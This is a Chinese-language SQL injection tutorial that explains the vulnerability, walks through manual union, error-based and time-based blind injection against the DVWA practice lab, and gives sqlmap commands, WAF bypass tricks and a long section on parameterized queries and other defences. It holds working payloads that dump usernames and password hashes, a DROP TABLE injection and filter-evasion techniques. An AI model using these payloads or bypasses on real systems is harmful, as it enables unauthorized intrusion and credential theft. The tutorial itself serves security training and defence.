1. 项目概述:为什么SQL注入是每个开发者和安全从业者的必修课?
如果你刚接触Web安全,或者是一名后端开发者,听到“SQL注入”这个词,第一反应可能是:“这都2026年了,这种老掉牙的漏洞还有人提?” 或者 “我们项目用了MyBatis/Hibernate,应该没问题吧?” 我以十多年的渗透测试和代码审计经验告诉你,这种想法恰恰是最危险的。SQL注入,这个诞生了二十多年的漏洞,至今依然是OWASP Top 10榜单的常客,也是导致数据泄露事件的头号元凶之一。它之所以“长寿”,不是因为技术有多高深,而是因为它在代码中的隐蔽性和开发者安全意识的普遍缺失。
简单来说,SQL注入就是攻击者通过构造特殊的输入,欺骗后端程序,让其把用户输入的数据当作SQL代码的一部分来执行。这就像你让助手(Web应用)去档案室(数据库)按名字找一份文件,你本应该说“找张三的档案”,但攻击者会说“找张三的档案;顺便把保险柜的钥匙给我”。如果你的助手(程序)不加分辨地原样传达,档案室管理员(数据库)就会乖乖执行两条指令。结果就是,攻击者不仅能拿到张三的档案,还能拿到整个保险柜的控制权。
对于新手而言,学习SQL注入绝不仅仅是为了“搞破坏”或通过某个考试。它的价值在于: 第一,它是理解Web应用与数据库交互逻辑最直观的入口 ,搞懂了注入,你就明白了数据从表单到数据库的完整旅程在哪里可能被劫持。 第二,它是培养安全思维的绝佳起点 ,你会开始以攻击者的视角审视每一行代码,思考“如果我在这里输入一些奇怪的东西,会发生什么?”。 第三,无论你是开发、测试、运维还是安全工程师,防御SQL注入都是你职责的一部分 ,知其然且知其所以然,才能写出更健壮的代码,设计出更安全的架构。
接下来,我将抛开那些华而不实的理论堆砌,直接带你深入原理、手把手实战、并给出能直接用到项目里的防御方案。我们从一个最简单的漏洞场景开始,一步步拆解到复杂的盲注和自动化利用,目标是让你看完就能懂,懂了就能上手验证,最终在自己的工作中有效规避。
2. 核心原理深度拆解:漏洞究竟是如何产生的?
很多人对SQL注入的理解停留在“输入单引号导致报错”的层面,这远远不够。要真正掌握它,必须从数据库、应用程序、用户输入三者交互的底层逻辑去理解。
2.1 从一段“经典”的漏洞代码说起
我们来看一段几乎所有教程都会用,但在遗留系统中仍大量存在的Java代码(使用Statement拼接SQL):
// 这是一个用户登录验证的后台代码片段
String username = request.getParameter("username"); // 用户从表单输入
String password = request.getParameter("password"); // 用户从表单输入
Connection conn = DriverManager.getConnection(DB_URL, USER, PASS);
Statement stmt = conn.createStatement();
// 危险操作:直接拼接用户输入
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
ResultSet rs = stmt.executeQuery(sql);
if (rs.next()) {
// 登录成功
} else {
// 登录失败
}
这段代码的逻辑清晰明了:获取用户输入的用户名和密码,拼接到SQL查询语句中,然后交给数据库执行。在正常情况下,用户输入
admin
和
123456
,生成的SQL是:
SELECT * FROM users WHERE username = 'admin' AND password = '123456'
数据库会去
users
表里寻找匹配的记录,没问题。
但是,攻击者不会按常理出牌。
如果攻击者在用户名输入框输入:
admin' --
(注意最后有个空格),密码框可以输入任意值,比如
xxx
。那么,拼接后的SQL语句变成了:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx'
在SQL中,
--
是单行注释符,它会把其后的所有内容都注释掉。于是,这条SQL的实际执行部分变成了:
SELECT * FROM users WHERE username = 'admin'
密码验证条件被完全绕过了!数据库会返回用户名为
admin
的第一条记录,攻击者成功以管理员身份登录,而无需知道密码。
这里的关键点 :漏洞产生的根源在于,程序 信任了用户的输入 ,并将其 毫无处理地 与 代码逻辑(SQL语法) 混合在了一起。数据库引擎无法区分哪部分是程序员写的合法指令,哪部分是攻击者注入的恶意指令,它只会忠实地执行整条语句。
2.2 深入理解“数据”与“代码”的边界混淆
这是计算机安全中的一个根本性问题。在安全的编程范式中,“数据”(用户输入)和“代码”(程序逻辑)应该有清晰的边界。
-
安全的情况(参数化查询)
:程序对数据库说:“请执行查询模板A,这里有两个参数,第一个参数的值是‘admin’,第二个参数的值是‘123456’。” 数据库先编译好模板A(一个查询计划),然后将两个参数值作为纯数据填充进去。此时,即使用户输入包含
'或--,它们也只会被当作参数值里的一个普通字符,而不会被解释为SQL语法。 -
不安全的情况(字符串拼接)
:程序对数据库说:“请执行这条语句:
SELECT ... WHERE username = 'admin' -- ' AND ...”。数据库拿到的是一个完整的字符串,它会从头开始解析这个字符串中的每一个字符。当它遇到'时,认为字符串结束了;遇到--时,认为开始注释了。 用户输入的数据越过了边界,直接参与了代码逻辑的构建。
2.3 不仅仅是‘和--:注入的多种“打开方式”
基于上述原理,攻击者的payload(有效载荷)可以千变万化:
-
联合查询注入(Union-based)
:利用
UNION或UNION ALL操作符,将恶意查询的结果附加到原始查询结果之后。前提是需要猜测或探测出原始查询的列数和列类型。-
Payload示例
:
1' UNION SELECT 1, database(), user() -- - 攻击意图 :获取数据库名、当前用户等信息。
-
Payload示例
:
-
报错注入(Error-based)
:故意构造一个会让数据库执行出错的语句,并让数据库在错误信息中“泄露”出我们想要的数据。这利用了数据库某些函数的特性。
-
Payload示例(MySQL)
:
1' AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1) -- - 攻击意图 :在页面显示数据库错误信息时,从中提取数据。
-
Payload示例(MySQL)
:
-
布尔盲注(Boolean-based Blind)
:当页面没有明确的数据回显和错误信息时,通过注入可以改变查询逻辑真假的语句,根据页面返回内容的差异(如存在/不存在某个关键词,页面正常/异常)来逐位推断数据。
-
Payload示例
:
1' AND substring(database(),1,1)='a' -- - 攻击意图 :如果页面正常返回,说明数据库名的第一个字母是‘a’,否则不是。通过大量这样的请求,可以“盲猜”出完整信息。
-
Payload示例
:
-
时间盲注(Time-based Blind)
:这是布尔盲注的升级版,当页面返回没有任何差异时使用。通过注入包含延时函数(如
SLEEP(5))的语句,根据页面响应时间是否延迟来判断条件真假。-
Payload示例(MySQL)
:
1' AND IF(substring(database(),1,1)='a', sleep(5), 0) -- - 攻击意图 :如果第一个字符是‘a’,则页面响应会延迟5秒,否则立即返回。
-
Payload示例(MySQL)
:
实操心得 :在实际渗透测试中,联合查询和报错注入是效率最高的,因为它们能直接回显数据。但越来越多的应用会屏蔽错误信息,并且对输出进行严格过滤,这时盲注就成了“最后的武器”。理解盲注的原理,能让你在看似“无懈可击”的防御面前找到突破口。
3. 实战利用全流程:从漏洞探测到数据获取
理论懂了,我们进入实战环节。我假设你已经在本地搭建好了DVWA(Damn Vulnerable Web Application)或SQLi-Labs靶场。我们以DVWA的“SQL Injection”模块(安全级别设为Low)为例,进行一场完整的手动注入演练。
3.1 第一步:侦察与漏洞确认
目标:判断注入点是否存在以及是什么类型。
-
正常输入
:在User ID输入框输入
1,点击Submit。页面正常显示用户ID、First name、Surname。 -
试探性输入(字符型探测)
:输入
1'(数字1加一个单引号)。点击提交。-
观察结果
:页面返回了数据库错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...。 - 分析 :单引号破坏了SQL语句的语法,导致数据库报错。这强烈暗示存在SQL注入,并且注入点可能是字符型(因为数字型注入通常不需要闭合引号)。
-
观察结果
:页面返回了数据库错误信息:
-
验证漏洞与判断类型
:输入
1' and '1'='1和1' and '1'='2。-
Payload 1
:
1' and '1'='1-> 拼接后SQL类似... WHERE id='1' and '1'='1'。条件永真,页面应正常显示ID为1的用户信息。 -
Payload 2
:
1' and '1'='2-> 拼接后SQL类似... WHERE id='1' and '1'='2'。条件永假,页面应不显示任何用户信息(或显示与Payload 1不同的内容)。 -
观察结果
:如果两个payload返回的页面内容有明显差异(一个有数据,一个没数据),则
确认存在基于布尔的SQL注入漏洞
,并且是字符型(因为我们需要用
'来闭合前一个引号,并用and '1'='1来构造永真条件)。
-
Payload 1
:
注意事项 :在实际测试中,页面差异可能很微妙,比如一行文字的缺失、一个HTML注释的不同,甚至只是HTTP响应状态码的不同。熟练使用Burp Suite的
Comparer功能对比响应包,是专业选手的必备技能。
3.2 第二步:信息收集——判断列数与显示位
在联合查询注入前,我们必须知道原始查询返回了多少列,以及哪几列的内容会显示在页面上。
-
使用
ORDER BY判断列数 :-
输入
1' ORDER BY 1 --。页面正常。 -
输入
1' ORDER BY 2 --。页面正常。 -
输入
1' ORDER BY 3 --。页面正常。 -
输入
1' ORDER BY 4 --。页面报错(或返回空)。 -
结论
:原始查询语句返回了
3
列。因为
ORDER BY 4超出了列数范围导致错误。
-
输入
-
使用
UNION SELECT确定显示位 :-
输入
1' UNION SELECT 1,2,3 --。 -
观察页面
:页面通常会显示数字
2和3(有时是1,2,3都显示)。这意味着页面的“First name”位置对应我们UNION查询的第二列,“Surname”位置对应第三列。这两个位置就是我们可以用来回显数据的“显示位”。
-
输入
3.3 第三步:提取数据库信息
现在,我们可以把
2
和
3
的位置替换成我们想查询的数据库函数。
-
获取当前数据库名和用户 :
-
输入
1' UNION SELECT 1, database(), user() --。 -
结果
:在“First name”位置会显示当前数据库名(如
dvwa),在“Surname”位置显示当前数据库用户(如root@localhost)。知道用户是root意味着权限可能很高。
-
输入
-
获取数据库中的所有表名 :
-
MySQL中,数据库的元数据(表、列信息)存储在
information_schema数据库的tables表和columns表中。 -
输入
1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --。 -
解释
:
group_concat()函数将多行结果合并成一个用逗号分隔的字符串。table_schema=database()条件限定了只查询当前数据库的表。 -
结果
:可能会显示
guestbook,users等。我们显然对users表更感兴趣。
-
MySQL中,数据库的元数据(表、列信息)存储在
-
获取目标表的所有列名 :
-
输入
1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --。 -
结果
:可能会显示
user_id,first_name,last_name,user,password,avatar...。我们找到了user和password列。
-
输入
3.4 第四步:获取最终目标——敏感数据
现在,我们可以直接从
users
表中查询用户名和密码了。
-
输入
1' UNION SELECT 1,user,password FROM users --。 -
结果
:页面会列出所有用户的登录名和密码哈希值。在DVWA中,密码通常是MD5哈希。例如,
admin的密码可能是5f4dcc3b5aa765d61d8327deb882cf99(明文是password)。
至此,一次完整的手动联合查询注入就完成了。
我们从一个简单的
1'
测试开始,逐步获取了数据库名、表结构,并最终窃取了核心的用户凭证数据。
实操心得 :这个过程看似步骤清晰,但在真实的、有防护的网站上,每一步都可能遇到阻碍。比如
'被过滤、UNION和SELECT被拦截、错误信息被屏蔽等。这就需要用到各种绕过技巧,如大小写混淆(UnIoN SeLeCt)、双写关键字(UNIUNIONON SELSELECTECT)、使用注释符分割(U/**/NION)、或者使用十六进制/URL编码。真正的实战,是原理与绕过技巧的结合。
4. 自动化利器与高级技巧:SQLmap与盲注实战
手动注入能帮你深刻理解原理,但效率低下,尤其是在进行盲注时。这时,我们需要借助工具,并理解更高级的攻击手法。
4.1 SQLmap:渗透测试师的“瑞士军刀”
SQLmap是一个开源的自动化SQL注入工具,它能自动完成漏洞检测、数据库指纹识别、数据提取甚至接管整个数据库服务器。 但切记:工具永远只是思维的延伸。 你必须先理解手动注入,才能正确解读和使用SQLmap的结果。
基础使用场景 :
假设我们通过侦察发现一个可能的注入点URL:
http://target.com/news.php?id=1
-
基础探测 :
sqlmap -u "http://target.com/news.php?id=1"这条命令会让SQLmap尝试各种注入技术(布尔盲注、时间盲注、报错注入、联合查询等)来检测漏洞。
-
获取数据库列表 :
sqlmap -u "http://target.com/news.php?id=1" --dbs -
获取指定数据库的所有表 :
sqlmap -u "http://target.com/news.php?id=1" -D database_name --tables -
获取指定表的所有列 :
sqlmap -u "http://target.com/news.php?id=1" -D database_name -T table_name --columns -
导出表数据 :
sqlmap -u "http://target.com/news.php?id=1" -D database_name -T table_name -C column1,column2 --dump
SQLmap高级参数与技巧 :
-
--level和--risk:提高检测等级和风险等级,尝试更多payload和危险操作(如执行OS命令)。 -
--tamper:使用篡改脚本,对payload进行编码、混淆以绕过WAF(Web应用防火墙)。例如--tamper=space2comment将空格替换为注释。 -
--os-shell:在特定条件下(如数据库是MySQL且具有FILE权限,Web目录可写),尝试获取一个操作系统的交互式shell。 -
--batch:以非交互模式运行,所有默认选项都选Yes,用于自动化脚本。
重要警告 :切勿在未授权的真实网站使用SQLmap!这不仅是违法行为,其大量请求也极易触发对方的入侵检测系统(IDS/IPS),给你带来法律风险。仅在你自己控制的靶场或获得明确书面授权的测试中使用。
4.2 时间盲注实战:当页面“沉默”时如何攻击
在DVWA中将安全级别调到
Medium
或
High
,其SQL注入模块可能会屏蔽错误信息,并且联合查询注入也可能失效。这时,时间盲注就派上用场了。
原理
:通过
IF(condition, true_part, false_part)
函数和
sleep()
函数结合。如果条件为真,则执行sleep,导致页面响应延迟;如果为假,则立即返回。通过观察响应时间,来判断条件真假。
手动猜解数据库名长度 :
-
输入
1' AND IF(LENGTH(database())=1, SLEEP(5), 0) --- 如果数据库名长度等于1,则页面延迟5秒后返回。
- 如果不等于1,页面立即返回。
-
通过不断改变数字(=2, =3, =4...),直到页面发生延迟,即可确定长度。假设测试发现
LENGTH(database())=4时延迟,则库名长度为4。
手动逐位猜解数据库名 : 知道了长度是4,接下来猜解每个位置的字符。
-
输入
1' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --- 如果数据库名的第一个字符是‘a’,则延迟。
- 通过遍历字母、数字、下划线等字符集(或使用ASCII码二分法),最终确定第一个字符。假设是‘d’。
-
接着猜解第二个字符:
1' AND IF(SUBSTRING(database(),2,1)='a', SLEEP(5), 0) --,以此类推。
这个过程极其繁琐 ,全靠手工几乎不可能完成。这正是SQLmap等工具的价值所在。你可以简单地使用:
sqlmap -u "http://target.com/vul.php?id=1" --technique=T --time-sec=5
其中
--technique=T
指定使用时间盲注,
--time-sec=5
设置延迟时间为5秒。SQLmap会自动完成上述所有猜解工作。
5. 企业级防御指南:从代码到架构的纵深防御
知道了如何攻击,才能更好地防御。防御SQL注入不是一个单点措施,而是一个从编码规范到运维监控的完整体系。
5.1 治本之策:使用参数化查询(预编译语句)
这是唯一被公认为能从根本上防止SQL注入的方法。其原理是 将SQL语句的结构(代码)与数据(参数)分开发送 给数据库。
以Java (JDBC)为例 :
// 不安全的方式:Statement拼接
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// 安全的方式:PreparedStatement 参数化查询
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username); // 将username的值安全地设置到第一个问号位置
ResultSet rs = pstmt.executeQuery();
当调用
pstmt.setString(1, username)
时,无论
username
变量里包含什么(即使是
admin' --
),JDBC驱动都会确保它被当作一个纯粹的字符串值来处理,而不会成为SQL语法的一部分。数据库引擎会先编译
SELECT * FROM users WHERE username = ?
这个模板,然后再将参数值绑定进去执行。
其他语言示例 :
-
PHP (PDO)
:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $username]); -
Python (sqlite3)
:
cursor.execute("SELECT * FROM users WHERE username = ?", (username,)) -
MyBatis (Mapper XML)
:
<select id="getUser" resultType="User"> SELECT * FROM users WHERE username = #{username} <!-- 使用#{},不要用${} --> </select>
核心要点 :务必使用
?占位符或命名参数(如:username),并配合相应的setXXX方法或参数绑定机制。 绝对不要 在参数化查询中再用字符串拼接的方式构造SQL片段。
5.2 辅助措施与深度防御
虽然参数化查询是基石,但多层防御能提供更安全的保障。
-
输入验证与过滤 :
-
白名单验证
:对于已知的、有限集合的输入(如状态码、类型),使用白名单。例如,
if (!['active', 'inactive'].includes(status)) { throw error; }。 -
严格的数据类型转换
:对于数字型参数,在拼接前强制转换为整数/浮点数。
int id = Integer.parseInt(request.getParameter("id"));。 -
谨慎使用过滤
:对于复杂字符串,过滤特定关键词(如
union,select,sleep)或字符(如',",--)可以作为 第二道防线 ,但绝不能作为主要防御手段,因为绕过方法太多(编码、大小写、注释变形等)。
-
白名单验证
:对于已知的、有限集合的输入(如状态码、类型),使用白名单。例如,
-
最小权限原则 :
-
为Web应用程序连接数据库分配一个权限尽可能低的账号。
永远不要
使用
root或sa等超级管理员账号。 -
这个账号通常只需要对特定的业务表有
SELECT、INSERT、UPDATE、DELETE权限,绝对不应该有DROP、CREATE、FILE、GRANT等高级权限。 - 这样即使发生注入,攻击者也无法删除表、读取系统文件或执行操作系统命令,能将损失降到最低。
-
为Web应用程序连接数据库分配一个权限尽可能低的账号。
永远不要
使用
-
安全的错误处理 :
- 在生产环境中, 禁止向用户显示详细的数据库错误信息 。这些信息(如SQL语法、表名、列名)是攻击者的“路标”。
- 应配置统一的、友好的错误页面,同时在服务器端记录详细的错误日志供管理员排查。
-
Web应用防火墙(WAF) :
- 在应用前端部署WAF,可以识别并拦截常见的SQL注入攻击特征。
- WAF是重要的 缓解措施 ,但它基于规则,可能存在误报和漏报。 不能 替代安全的代码编写。
-
定期安全审计与扫描 :
- 将SQL注入检查纳入代码审查(Code Review)流程。
- 使用静态应用安全测试(SAST)工具扫描源代码。
- 使用动态应用安全测试(DAST)工具或SQLmap(在授权环境下)对线上应用进行定期漏洞扫描。
5.3 ORM框架就绝对安全吗?
这是一个常见的误解。使用MyBatis、Hibernate、Entity Framework等ORM框架,如果使用不当,同样会产生SQL注入。
MyBatis的坑 :
<!-- 危险!使用 ${} 会导致字符串拼接 -->
<select id="getUser" resultType="User">
SELECT * FROM users ORDER BY ${orderBy}
</select>
如果
orderBy
参数来自用户输入且未经验证,攻击者可以传入
id; DROP TABLE users --
,导致灾难性后果。
在MyBatis中,应始终使用
#{}
进行参数化,仅在动态排序等极少数场景下谨慎使用
${}
,并必须进行严格的白名单过滤。
Hibernate的坑 :
// 危险!使用字符串拼接HQL
String hql = "from User where username = '" + username + "'";
Query query = session.createQuery(hql);
这同样存在注入风险。应使用参数绑定:
String hql = "from User where username = :username";
Query query = session.createQuery(hql);
query.setParameter("username", username);
结论 :ORM框架提供了更安全的默认方式,但开发者必须了解其底层机制,正确使用参数化接口,避免任何形式的字符串拼接。
6. 常见问题与排查技巧实录
在实际开发和渗透测试中,你会遇到各种各样的问题。这里记录了一些典型场景和解决思路。
6.1 渗透测试中的疑难杂症
问题1:输入单引号页面不报错,但返回内容变了,这是注入吗?
很可能。这可能是布尔盲注的特征。页面没有SQL错误,但应用逻辑因为注入条件真假而返回了不同的内容(例如,商品存在/不存在)。你需要系统性地测试
and 1=1
和
and 1=2
,并用Burp Suite的
Comparer
仔细比对响应体的每一个字节。
问题2:网站好像过滤了空格和
union
关键字,怎么办?
这是常见的WAF或自定义过滤规则。
-
空格绕过
:可以用注释
/**/、括号()、制表符%09、换行符%0a代替空格。例如:union/**/select。 -
关键字绕过
:
-
大小写
:
UnIoN SeLeCt -
双写
:
ununionion selselectect(有些简单的过滤会移除一次union,剩下的字符拼起来又是union)。 -
内联注释
(MySQL特有):
/*!union*/ select。 -
编码
:URL编码、十六进制编码。例如
union的十六进制是0x756e696f6e,在某些上下文可能有效。
-
大小写
:
问题3:使用SQLmap跑时间盲注非常慢,如何优化? 时间盲注本身就很慢,因为每个字符的判断都需要等待。
-
使用
--threads参数增加线程数(如--threads=10),但注意不要对目标造成过大压力。 -
使用
--predict-output和--technique=T结合,让SQLmap尝试预测输出,减少请求次数。 - 如果条件允许,优先尝试联合查询或报错注入。
6.2 开发中的防御自查清单
问题1:我用了PreparedStatement,但代码扫描工具还是报SQL注入漏洞? 检查以下几点:
-
是否在PreparedStatement之外进行了拼接?
例如:
String sql = "SELECT * FROM " + tableName + " WHERE id = ?";这里的tableName如果是用户可控的,依然存在注入风险。表名、列名通常不能参数化,必须使用白名单验证。 -
是否错误地使用了
%和_通配符? 在LIKE子句中,如果用户输入包含%或_,它们会被解释为通配符,这可能不是期望的行为。需要在应用层进行转义(如将%替换为\%)。 -
是否使用了不安全的ORM API?
回顾MyBatis中是否误用了
${}。
问题2:如何对复杂的动态查询(如动态排序、多条件筛选)进行参数化? 这是难点。一个相对安全的模式是:
// 基础SQL
StringBuilder sql = new StringBuilder("SELECT * FROM products WHERE 1=1 ");
List<Object> params = new ArrayList<>();
// 动态添加条件
if (category != null) {
sql.append("AND category = ? ");
params.add(category); // 参数值加入列表
}
if (minPrice != null) {
sql.append("AND price >= ? ");
params.add(minPrice);
}
// 动态排序 - 这里必须用白名单!
List<String> allowedSortFields = Arrays.asList("price", "create_time");
if (allowedSortFields.contains(sortBy)) {
sql.append("ORDER BY ").append(sortBy); // 字段名白名单验证,安全
if ("desc".equalsIgnoreCase(sortOrder)) {
sql.append(" DESC");
}
}
// 创建PreparedStatement并设置参数
PreparedStatement pstmt = conn.prepareStatement(sql.toString());
for (int i = 0; i < params.size(); i++) {
pstmt.setObject(i + 1, params.get(i));
}
核心思想
:查询条件
值
全部用
?
占位符,其值通过
setObject
绑定。查询的
结构部分
(如表名、列名、排序关键字)如果必须动态,则必须使用严格的白名单进行校验。
问题3:存储过程能防注入吗?
如果存储过程内部使用了动态SQL拼接(
EXECUTE
或
sp_executesql
拼接字符串),并且参数未经验证,那么注入风险依然存在。安全的存储过程也应该使用参数化。不要把安全完全寄托于存储过程。
学习SQL注入的过程,是一个不断打破“想当然”的过程。你会惊讶于一个小小的引号竟能引发如此大的安全风暴,也会在一次次绕过与防御的对抗中,深刻理解“安全是设计出来的,不是测试出来的”这句话的分量。从今天起,在写下每一行与数据库交互的代码时,都问自己一句:“这里,用户输入和我的SQL代码,边界清晰吗?” 养成这个习惯,就是你这篇文章最大的收获。
1604

被折叠的 条评论
为什么被折叠?



